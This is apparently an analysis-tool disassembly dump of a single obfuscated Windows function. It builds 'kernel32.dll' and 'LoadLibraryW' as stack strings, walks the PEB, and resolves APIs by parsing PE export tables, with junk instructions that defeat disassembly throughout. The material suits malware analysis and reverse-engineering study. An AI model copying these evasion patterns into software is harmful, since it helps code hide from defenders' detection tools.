Function at 0x512906
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop eax
push ebx
xor ebx, 0x1592c
xor ebx, 0x4a51
add ebx, 0x138d2
add ebx, 0x12a33
pop ebx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ecx
jmp 0x511452
pop ecx
push esi
or esi, 0xf437
call 0x511466
add byte [eax + 0x33], cl
dec esp
inc ebp
inc ebp
inc esp
add esp, 4
pop esi
push edx
jmp 0x511474
or edx, 0xd142
pop edx
push edx
push esi
add esp, 4
and edx, 0x33e6
xor edx, 0x12e74
and edx, 0x12405
pop edx
push edx
push edx
add esp, 4
jmp 0x51149e
sub edx, 0x5ddb
pop edx
push ebx
or ebx, 0xaf96
pop ebx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edx
push edx
add esp, 4
sub edx, 0x7b43
pop edx
push edx
sub edx, 0x11cca
call 0x5114f8
add byte [esp + eax*2], dh
dec eax
inc esp
inc ebx
dec edx
cmp cl, byte [ecx + 0x3a]
cmp al, byte [ebx + 0x3eb04c4]
inc ecx
inc edi
and edx, 0x6847
pop edx
cmp dword [ebp - 0x14d4], 0
jne 0x51151f
mov dword [ebp - 0x2e0], 0
jmp 0x5117db
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push esi
push ecx
add esp, 4
call 0x511546
add byte [ecx + 0x4e], al
cmp eax, 0x463d4b41
dec esp
cmp eax, 0x4c4834a
call 0x511559
add byte [edi + 0x47453f33], bh
inc ebx
cmp dword ds:[edi - 0x7d], eax
les eax, [ecx + eax*4]
out 0xf1, al
retf
push ecx
push eax
add esp, 4
or ecx, 0x6d7
add ecx, 0xb8c8
sub ecx, 0xdaf7
pop ecx
push ecx
push edx
add esp, 4
xor ecx, 0x31bf
pop ecx
push ebx
add ebx, 0x157a9
or ebx, 0x321f
pop ebx
cmp dword [ebp - 0x2e0], 0
jne 0x512126
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push esi
add esi, 0x5058
or esi, 0x3084
pop esi
push eax
push ecx
add esp, 4
or eax, 0x8c51
pop eax
push edi
add edi, 0xa687
call 0x5118e1
add byte [ebx + 0x37], cl
dec esp
dec ebp
dec ecx
inc ebp
inc ebx
add esp, 4
pop edi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push esi
call 0x511974
add byte [ecx + edi + 0x3a], al
aas
add esp, 4
and esi, 0xfb53
call 0x51198d
add byte [edi], dh
inc ebp
xor al, 0x39
cmp eax, 0x353e364f
xor al, 0x83
les eax, [esi + ebx*2]
push ebx
add ebx, 0x25a3
pop ebx
cmp dword [ebp - 0x14dc], 0
jne 0x5119b1
mov dword [ebp - 0x6ec], 0
jmp 0x511c6d
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push edi
call 0x5119d4
add byte [edx + 0x35], al
cmp ecx, dword [ebx + 0x3a]
xor cl, byte [edi + 0x4e]
cmp bh, byte [ebx]
add esp, 4
sub edi, 0x11286
call 0x5119eb
add byte [esi], bh
dec ebx
dec edx
dec ecx
dec esi
cmp eax, 0xc483504c
add al, 0x81
iretd
push edx
push ebx
add esp, 4
or edx, 0x1437b
or edx, 0xf12c
jmp 0x511c87
add edx, 0xdbc4
pop edx
push edx
push esi
add esp, 4
and edx, 0xb1de
jmp 0x511c9e
pop edx
cmp dword [ebp - 0x6ec], 0
jne 0x511ce9
push edx
or edx, 0x10e8a
pop edx
push ecx
push edx
add esp, 4
xor ecx, 0x6d46
add ecx, 0x15ccb
sub ecx, 0x12f3
or ecx, 0x10bb3
pop ecx
push esi
push edx
add esp, 4
add esi, 0xcc75
pop esi
mov dword [ebp - 0x738], 0
jmp 0x512810
push ecx
sub ecx, 0x1213a
and ecx, 0x465d
or ecx, 0x3c1f
pop ecx
push edi
push esi
add esp, 4
add edi, 0xd762
add edi, 0x3c08
and edi, 0xef28
or edi, 0x166fe
pop edi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x511d5a
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x51204b
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x511d82
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x51204b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x511db4
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x51204b
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x511dd9
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x51204b
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x511e33
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x51203f
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x511ea3
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x511f55
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x511f55
push ecx
push eax
add esp, 4
call 0x511ee4
add byte [ecx + 0x49], al
inc edx
dec ebp
inc ebx
inc esi
cmp dword [ebx + 0x34], ecx
add esp, 4
pop ecx
push esi
add esi, 0x1405f
pop esi
push ecx
push eax
add esp, 4
or ecx, 0x14f3b
sub ecx, 0x77e8
pop ecx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x511f47
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x511f4e
jmp 0x511e94
jmp 0x511f55
push eax
push edi
add esp, 4
xor eax, 0x1457f
pop eax
push ecx
jmp 0x511f67
pop ecx
push ecx
push ecx
add esp, 4
and ecx, 0xbfaa
call 0x511f83
add byte [edi + 0x47], cl
inc eax
dec ebx
inc ebp
inc esi
dec ebp
cmp dword [ebp - 0x7d], ecx
les eax, [ecx + ebx*2]
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x511fb4
mov dword [ebp - 0xc30], 0
jmp 0x512023
push eax
push esi
add esp, 4
and eax, 0x1d55
xor eax, 0x559f
sub eax, 0xbd00
sub eax, 0x496d
pop eax
push edx
add edx, 0xffee
add edx, 0xe21c
xor edx, 0x70c
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x512019
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x512023
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x51203a
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x51204b
jmp 0x511e24
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x512126
push esi
add esi, 0x16081
or esi, 0x4dd
and esi, 0x16254
pop esi
push eax
call 0x51207a
add byte [edi], dh
dec eax
dec ebp
xor dh, byte ds:[edx]
add esp, 4
sub eax, 0xc6c6
xor eax, 0x17f09
pop eax
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push ebx
or ebx, 0xd72f
sub ebx, 0x7627
call 0x5120b1
add byte [esi + 0x44], cl
push eax
aaa
dec eax
dec eax
add esp, 4
call 0x5120c4
add byte [ebx + 0x4a], cl
inc eax
inc edi
aas
xor eax, 0x3f39474d
add esp, 4
pop ebx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x512126
push edi
push edx
add esp, 4
jmp 0x5120ef
pop edi
push edx
push edx
add esp, 4
sub edx, 0x15c91
pop edx
push eax
jmp 0x512104
add eax, 0xdc62
pop eax
push edx
push ebx
add esp, 4
add edx, 0x960f
pop edx
mov dword [ebp - 0x738], 0
jmp 0x512810
push esi
call 0x512135
add byte [edi + 0x4a], al
cmp al, 0x35
inc ecx
dec edi
add esp, 4
pop esi
push ebx
xor ebx, 0x5dcc
xor ebx, 0x138e
call 0x512154
add byte [ebx + 0x4d], cl
dec eax
xor eax, 0x4638393a
add esp, 4
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edx
push ebx
add esp, 4
xor edx, 0xaf2f
pop edx
push esi
call 0x512199
add byte [esi], dh
dec ecx
cmp al, 0x33
inc esp
dec edx
dec ebp
add esp, 4
pop esi
push esi
push eax
add esp, 4
add esi, 0x180e9
jmp 0x5121b0
pop esi
cmp dword [ebp - 0x14f4], 0
jne 0x5121c9
mov dword [ebp - 0x2e0], 0
jmp 0x512470
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ecx
push edx
add esp, 4
sub ecx, 0x8ed7
or ecx, 0x118d2
and ecx, 0x13970
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0xd658
jmp 0x512206
or ecx, 0x156f8
pop ecx
cmp dword [ebp - 0xc3c], 0
jne 0x512225
mov dword [ebp - 0x2e0], 0
jmp 0x512470
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push edx
and edx, 0xbfaf
pop edx
push edi
push ebx
add esp, 4
call 0x51224b
add byte [edx], dh
aaa
dec ebp
aaa
push eax
dec ecx
inc edx
add esp, 4
or edi, 0x15170
sub edi, 0xc882
pop edi
push ebx
and ebx, 0x15445
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edi
push edi
add esp, 4
add edi, 0x133b
pop edi
push ecx
or ecx, 0xe99
and ecx, 0x15176
sub ecx, 0x10aef
xor ecx, 0xc519
pop ecx
push esi
push ecx
add esp, 4
xor esi, 0x83f7
pop esi
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push ebx
and ebx, 0xe055
or ebx, 0x1c3f
pop ebx
push esi
push edx
add esp, 4
jmp 0x512332
call 0x51233e
add byte [0x4c36393b], dh
inc esi
add esp, 4
sub esi, 0x86b4
pop esi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x512365
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x5123bf
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x51228d
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x51228d
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x5123a9
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x5123b3
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x512408
push eax
push ecx
add esp, 4
xor eax, 0x42bb
xor eax, 0x8fc0
or eax, 0x5637
pop eax
push ebx
push edx
add esp, 4
xor ebx, 0x139c2
or ebx, 0xc33c
jmp 0x5123f9
pop ebx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x512470
push edx
add edx, 0x12d5f
call 0x51241c
add byte [eax + eax*2 + 0x4e], cl
cmp al, 0x46
dec eax
add esp, 4
and edx, 0xbde1
add edx, 0xfdbf
pop edx
push esi
or esi, 0x10ff8
or esi, 0x10857
pop esi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x512466
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x512231
mov dword [ebp - 0x2e0], 0
push eax
xor eax, 0x172d2
xor eax, 0x11140
sub eax, 0xd101
or eax, 0xd899
pop eax
push edi
push ecx
add esp, 4
or edi, 0xc557
and edi, 0x15e2c
add edi, 0x11e80
pop edi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ebx
xor ebx, 0x2381
pop ebx
push edx
push eax
add esp, 4
jmp 0x5124c7
jmp 0x5124ce
xor edx, 0x15aad
pop edx
push edi
or edi, 0xaa8f
jmp 0x5124e2
pop edi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x512513
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x512804
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x51253b
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x512804
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x51256d
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x512804
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x512592
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x512804
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x5125ec
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x5127f8
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x51265c
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x51270e
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x51270e
push esi
jmp 0x512691
and esi, 0x6a7e
jmp 0x51269c
add esi, 0x8746
pop esi
push esi
push edx
add esp, 4
sub esi, 0xbd85
xor esi, 0x13ca1
sub esi, 0xb34d
pop esi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x512700
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x512707
jmp 0x51264d
jmp 0x51270e
push edx
push eax
add esp, 4
and edx, 0x104fd
sub edx, 0x13e2c
and edx, 0x4ec3
pop edx
push edi
sub edi, 0x12b
sub edi, 0x16ed4
pop edi
push eax
push eax
add esp, 4
or eax, 0x1a5b
pop eax
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x51276d
mov dword [ebp - 0xc40], 0
jmp 0x5127dc
push ecx
push esi
add esp, 4
or ecx, 0xbee4
sub ecx, 0x14dfe
and ecx, 0x17504
pop ecx
push esi
xor esi, 0x14b5c
or esi, 0xc9b1
and esi, 0x12f94
xor esi, 0x16cc
pop esi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x5127d2
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x5127dc
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x5127f3
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x512804
jmp 0x5125dd
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ebx
and ebx, 0x14c7a
or ebx, 0x6c36
or ebx, 0xa4be
pop ebx
push edx
push edi
add esp, 4
and edx, 0x4f5d
xor edx, 0x11757
and edx, 0x4bcf
add edx, 0x33c
pop edx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edi
add edi, 0x16f5a
call 0x512868
add byte [ebx], dh
dec ecx
inc ebx
inc edx
dec esp
dec ebp
xor al, 0x50
dec ebp
add esp, 4
call 0x512879
add byte [0x3c4c4237], dh
cmp dword [edi], esi
xor eax, 0x8104c483
mov ebx, 0x5f0000fb
cmp dword [ebp - 0x3cc], 0
je 0x512895
cmp dword [ebp - 0xa5c], 0
jne 0x5128db
push edi
add edi, 0x1282
and edi, 0xb80d
add edi, 0x1334a
xor edi, 0x223e
pop edi
push edi
push eax
add esp, 4
sub edi, 0xc815
xor edi, 0xda4e
or edi, 0x1010f
pop edi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ecx
sub ecx, 0xbd5a
add ecx, 0xd6cd
pop ecx
push edi
push ecx
add esp, 4
call 0x512906
add byte [eax + 0x49], cl
cmp al, 0x46
xor edi, dword [0xc483454c]
add al, 0x81
invalid